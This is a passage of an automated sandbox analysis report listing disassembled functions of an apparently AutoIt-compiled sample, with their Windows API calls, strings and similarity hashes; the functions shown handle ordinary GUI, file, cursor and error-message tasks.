SendMessageW.USER32(?,000000C2,00000001,?), ref: 0027C705
SendMessageW.USER32(?,000000B0,?,?), ref: 0027C71E
SendMessageW.USER32(?,000000B1,?,?), ref: 0027C735
SendMessageW.USER32(?,000000B1,?,?), ref: 0027C757
DragFinish.SHELL32(?), ref: 0027C75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0027C851

Strings

@GUI_DROPID, xrefs: 0027C77E
pb+, xrefs: 0027C79B
@GUI_DRAGFILE, xrefs: 0027C800
@GUI_DRAGID, xrefs: 0027C7C9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pb+
API String ID: 169749273-899132249
Opcode ID: 3777a3fbd42e14b0988f1b42157c55ddca8b3f5b398382f4f4dd083141316c27
Instruction ID: f58786222007f5f62aa3b4ebdd4dfd6c1114c5c30fd00cfb1c8b1d0b8a16ba57
Opcode Fuzzy Hash: 3777a3fbd42e14b0988f1b42157c55ddca8b3f5b398382f4f4dd083141316c27
Instruction Fuzzy Hash: 7D61CF71108304AFC701EF64DC89DAFBBE8FF99710F00092EF699921A1DB709A58CB52

Function 0024ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0024AC33

Strings

[CLASS:, xrefs: 0024AC83
[REGEXPTITLE:, xrefs: 0024AC5B
[LAST, xrefs: 0024ACE0
LAST, xrefs: 0024ABF8
CLASSNAME=, xrefs: 0024AC70
ACTIVE, xrefs: 0024AC0E
[ALL, xrefs: 0024ACD9
REGEXP=, xrefs: 0024AC48
HANDLE=, xrefs: 0024AC2C
ALL, xrefs: 0024ACC7
[HANDLE:, xrefs: 0024AC3F
[ACTIVE, xrefs: 0024AC20

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 797fbd05b0b4c2ce84095f66226e09e9776e29a138971b07935a4ef0d4c2211c
Instruction ID: 18eb583d31d81d359e445400d4d9c64f5430bcd164b863e2cb80f1712077e344
Opcode Fuzzy Hash: 797fbd05b0b4c2ce84095f66226e09e9776e29a138971b07935a4ef0d4c2211c
Instruction Fuzzy Hash: 74318431AA820AB7DB18FA60DD53EFE77A5AF22710F600419F501710D2EF616F24CA56

Function 00264FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00265013
LoadCursorW.USER32(00000000,00007F00), ref: 0026501E
LoadCursorW.USER32(00000000,00007F03), ref: 00265029
LoadCursorW.USER32(00000000,00007F8B), ref: 00265034
LoadCursorW.USER32(00000000,00007F01), ref: 0026503F
LoadCursorW.USER32(00000000,00007F81), ref: 0026504A
LoadCursorW.USER32(00000000,00007F88), ref: 00265055
LoadCursorW.USER32(00000000,00007F80), ref: 00265060
LoadCursorW.USER32(00000000,00007F86), ref: 0026506B
LoadCursorW.USER32(00000000,00007F83), ref: 00265076
LoadCursorW.USER32(00000000,00007F85), ref: 00265081
LoadCursorW.USER32(00000000,00007F82), ref: 0026508C
LoadCursorW.USER32(00000000,00007F84), ref: 00265097
LoadCursorW.USER32(00000000,00007F04), ref: 002650A2
LoadCursorW.USER32(00000000,00007F02), ref: 002650AD
LoadCursorW.USER32(00000000,00007F89), ref: 002650B8
GetCursorInfo.USER32(?), ref: 002650C8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 7dc6431901ededa47810b92b19313c30b1afd37c7f2740588ae62af103e42f53
Instruction ID: 8e77fc3cee93f5b01dfe964106db332956fd7330a9efff122901abf9861420a5
Opcode Fuzzy Hash: 7dc6431901ededa47810b92b19313c30b1afd37c7f2740588ae62af103e42f53
Instruction Fuzzy Hash: 7531E3B1D5831E6ADB109FB68C8996EBFE8FB08750F50452AA50DE7280DA78A5408E91

Function 0027A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0027A259
DestroyWindow.USER32(?,?), ref: 0027A2D3

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0027A34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0027A36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0027A382
DestroyWindow.USER32(00000000), ref: 0027A3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,001F0000,00000000), ref: 0027A3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0027A3F4
GetDesktopWindow.USER32 ref: 0027A40D
GetWindowRect.USER32(00000000), ref: 0027A414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0027A42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0027A444

Part of subcall function 001F25DB: GetWindowLongW.USER32(?,000000EB), ref: 001F25EC

Strings

tooltips_class32, xrefs: 0027A346, 0027A3D4
0, xrefs: 0027A26F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 3c707d454dcec390130060abd205741a4e219ffb9249d5de6e44e9055801652b
Instruction ID: c11e58d71b485ccf03ff4c0740a61f241f5be02bb599d71ee0cf9f6170685649
Opcode Fuzzy Hash: 3c707d454dcec390130060abd205741a4e219ffb9249d5de6e44e9055801652b
Instruction Fuzzy Hash: 2571FF70154305AFD725DF28DC49F6A7BE9FB89310F04852DF9898B2A0C7B1E952CB52

Function 00274392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00274424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0027446F

Strings

UNCHECK, xrefs: 0027464B
ISCHECKED, xrefs: 002745F2
GETSELECTED, xrefs: 0027457F
GETITEMCOUNT, xrefs: 00274551
GETTEXT, xrefs: 002745C2
EXPAND, xrefs: 00274521
GETTOTALCOUNT, xrefs: 00274456
SELECT, xrefs: 00274620
COLLAPSE, xrefs: 002744B5
EXISTS, xrefs: 002744D8
CHECK, xrefs: 0027448F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 1d53980587172e0acc68f89585e7f7833313899809ba249d2b5ab783bc0efd77
Instruction ID: ddc4f40e804dd56f35c57e8a1512bdef26b288a56cdd11824cc0365c06f939aa
Opcode Fuzzy Hash: 1d53980587172e0acc68f89585e7f7833313899809ba249d2b5ab783bc0efd77
Instruction Fuzzy Hash: 4D917F702247059FCB04FF10C451A6EB7E5AFA5350F148869F99A5B3A2CB70EDA9CF81

Function 0027B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0027B8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,002791C2), ref: 0027B910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0027B949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0027B98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0027B9C3
FreeLibrary.KERNEL32(?), ref: 0027B9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0027B9DF
DestroyIcon.USER32(?,?,?,?,?,002791C2), ref: 0027B9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0027BA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0027BA17

Part of subcall function 00212EFD: __wcsicmp_l.LIBCMT ref: 00212F86

Strings

.dll, xrefs: 0027B86D
.icl, xrefs: 0027B82A
.exe, xrefs: 0027B84A

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 42e8cd9799c815f9400b5bd9b0b77c2fb93ee270d220cc0b0eb3c0a5eb9484bf
Instruction ID: 9280a3bd19d3b7e355e41c0bdb1e408fed2b0faa6e980eab8ca8b81f6cf82f20
Opcode Fuzzy Hash: 42e8cd9799c815f9400b5bd9b0b77c2fb93ee270d220cc0b0eb3c0a5eb9484bf
Instruction Fuzzy Hash: E361F07192020AFAEB15DF64DC46FBE77ACFB08710F108115FA29D61D0DB74A9A0DBA0

Function 0025DC1A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0025DCDC
SystemTimeToFileTime.KERNEL32(?,?), ref: 0025DCEC
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0025DCF8
__wsplitpath.LIBCMT ref: 0025DD56
_wcscat.LIBCMT ref: 0025DD6E
_wcscat.LIBCMT ref: 0025DD80
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0025DD95
SetCurrentDirectoryW.KERNEL32(?), ref: 0025DDA9
SetCurrentDirectoryW.KERNEL32(?), ref: 0025DDDB
SetCurrentDirectoryW.KERNEL32(?), ref: 0025DDFC
_wcscpy.LIBCMT ref: 0025DE08
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0025DE47

Strings

*.*, xrefs: 0025DE02

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: ae10efdec10cdf0c0707c522f14081c6aa9ee43e34a8b4acaecb73dedbdca9d7
Instruction ID: fad1ee967970df581ad2809a7e654cd16ff547f76fc9638cc7644da5df09e336
Opcode Fuzzy Hash: ae10efdec10cdf0c0707c522f14081c6aa9ee43e34a8b4acaecb73dedbdca9d7
Instruction Fuzzy Hash: 0F618B721142459FCB20EF20C845EAEB3E8FF99315F04492EF98987251EB31E959CF92

Function 00259C38 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00259C7F

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00259CA0
__swprintf.LIBCMT ref: 00259CF9
__swprintf.LIBCMT ref: 00259D12
_wprintf.LIBCMT ref: 00259DB9
_wprintf.LIBCMT ref: 00259DD7

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00259DB4
"%s" (%d) : ==> %s:, xrefs: 00259DD2
Line %d (File "%s"):, xrefs: 00259CF3, 00259D0C
^ ERROR , xrefs: 00259D4E
Incorrect parameters to object property !, xrefs: 00259D5B
Error: , xrefs: 00259D81

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: f7c0162be817bf99ebcc8d32960ca154569ea81df10a06e28251ea806145b600
Instruction ID: 6f29ef14309a0799ad4db90a138efe4dd70e3be33205d52a0a2f8bbf60650013
Opcode Fuzzy Hash: f7c0162be817bf99ebcc8d32960ca154569ea81df10a06e28251ea806145b600
Instruction Fuzzy Hash: 61518F3191151EAADF15FBE0DD46EFEB779AF25300F500165BA09720A1EF352EA8CB60

Function 0025A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

CharLowerBuffW.USER32(?,?), ref: 0025A3CB
GetDriveTypeW.KERNEL32 ref: 0025A418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0025A460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0025A497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0025A4C5

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

Strings

closed, xrefs: 0025A3DF, 0025A3E8
type cdaudio alias cd wait, xrefs: 0025A443
set cd door , xrefs: 0025A466
close cd wait, xrefs: 0025A4B0
open , xrefs: 0025A427
wait, xrefs: 0025A482
close, xrefs: 0025A3D1
open, xrefs: 0025A3F2

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: cbc2260d0fc6b82e7c8d97a7910ac16b77e28a4148ec4733c5b889497088f3be
Instruction ID: 922b598cab42b06af04a29c940513c9f28c729d06d54cea3121b495e6990ed5d
Opcode Fuzzy Hash: cbc2260d0fc6b82e7c8d97a7910ac16b77e28a4148ec4733c5b889497088f3be
Instruction Fuzzy Hash: E4517C711147099FC700EF20C89196BB3E8FFA5758F10896DF98A572A1DB71ED19CB42

Function 0024F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,0022E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 0024F8DF
LoadStringW.USER32(00000000,?,0022E029,00000001), ref: 0024F8E8

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,0022E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 0024F90A
LoadStringW.USER32(00000000,?,0022E029,00000001), ref: 0024F90D
__swprintf.LIBCMT ref: 0024F95D
__swprintf.LIBCMT ref: 0024F96E
_wprintf.LIBCMT ref: 0024FA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0024FA2E

Strings

Line %d (File "%s"):, xrefs: 0024F957
%s (%d) : ==> %s: %s %s, xrefs: 0024FA12
^ ERROR, xrefs: 0024F9C3
Error: , xrefs: 0024F9E5
Line %d:, xrefs: 0024F968

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 3b1efad4d000c698e64a8b3157586051f871430247f7c897f17e3041e3bacda9
Instruction ID: e74391193269418e3327467228e748cb0156230e080c62ad7ce4b55c54ebc0e4
Opcode Fuzzy Hash: 3b1efad4d000c698e64a8b3157586051f871430247f7c897f17e3041e3bacda9
Instruction Fuzzy Hash: 9D415D7280411DAACB08FFE0DE96EFE7778AF65300F500065B609B6091EB716F59CB60

Function 0027BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00279207,?,?), ref: 0027BA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00279207,?,?,00000000,?), ref: 0027BA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00279207,?,?,00000000,?), ref: 0027BA78
CloseHandle.KERNEL32(00000000,?,?,?,?,00279207,?,?,00000000,?), ref: 0027BA85
GlobalLock.KERNEL32(00000000), ref: 0027BA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00279207,?,?,00000000,?), ref: 0027BA9D
GlobalUnlock.KERNEL32(00000000), ref: 0027BAA6
CloseHandle.KERNEL32(00000000,?,?,?,?,00279207,?,?,00000000,?), ref: 0027BAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00279207,?,?,00000000,?), ref: 0027BABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,00282CAC,?), ref: 0027BAD7
GlobalFree.KERNEL32(00000000), ref: 0027BAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 0027BB0B
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0027BB36
DeleteObject.GDI32(00000000), ref: 0027BB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0027BB74

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 59b9febafd1840d7dfa37cd35d4929ce00900b23e5c057e65f1988310553bb6e
Instruction ID: 8741668c2866de6bf23cfcf9323a7f4c8a6d7a0cf65c13c37199555b59b1a8c0
Opcode Fuzzy Hash: 59b9febafd1840d7dfa37cd35d4929ce00900b23e5c057e65f1988310553bb6e
Instruction Fuzzy Hash: 96415675604209EFCB129F65ED8CEAABBB8FF89715F108068FD09D7260D7709A41CB20

Function 0025D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 0025DA10
_wcscat.LIBCMT ref: 0025DA28
_wcscat.LIBCMT ref: 0025DA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0025DA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 0025DA63
GetFileAttributesW.KERNEL32(?), ref: 0025DA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 0025DA95
SetCurrentDirectoryW.KERNEL32(?), ref: 0025DAA7

Strings

*.*, xrefs: 0025DAE6

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 8ad62c017f2863d7bea6cf7615948135c9bf71834d03b978b2028319af0d0047
Instruction ID: 197831aac1062ed1cfbb0d7dc0ea24025e12914fba1a0852486f9553c8289218
Opcode Fuzzy Hash: 8ad62c017f2863d7bea6cf7615948135c9bf71834d03b978b2028319af0d0047
Instruction Fuzzy Hash: A281B1725283469FCB34EF64C844AAAB7E8BF99311F14482EFC89C7211E730D958CB56

Function 0027C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0027C1FC
GetFocus.USER32 ref: 0027C20C
GetDlgCtrlID.USER32(00000000), ref: 0027C217
_memset.LIBCMT ref: 0027C342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0027C36D
GetMenuItemCount.USER32(?), ref: 0027C38D
GetMenuItemID.USER32(?,00000000), ref: 0027C3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0027C3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0027C41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0027C454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0027C489

Strings

0, xrefs: 0027C33A

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: dee9516cdb1abbabab868b7cf3dcabf72f5837d57c546d12a773e92d51e973c9
Instruction ID: ff6a530d3764883b98e0697acd867fe031fcd021b82982fe5a3ddb2382529e2d
Opcode Fuzzy Hash: dee9516cdb1abbabab868b7cf3dcabf72f5837d57c546d12a773e92d51e973c9
Instruction Fuzzy Hash: A381B0712183129FD710DF24D894ABBBBE8FF88714F20892EF99997291C770D960CB52

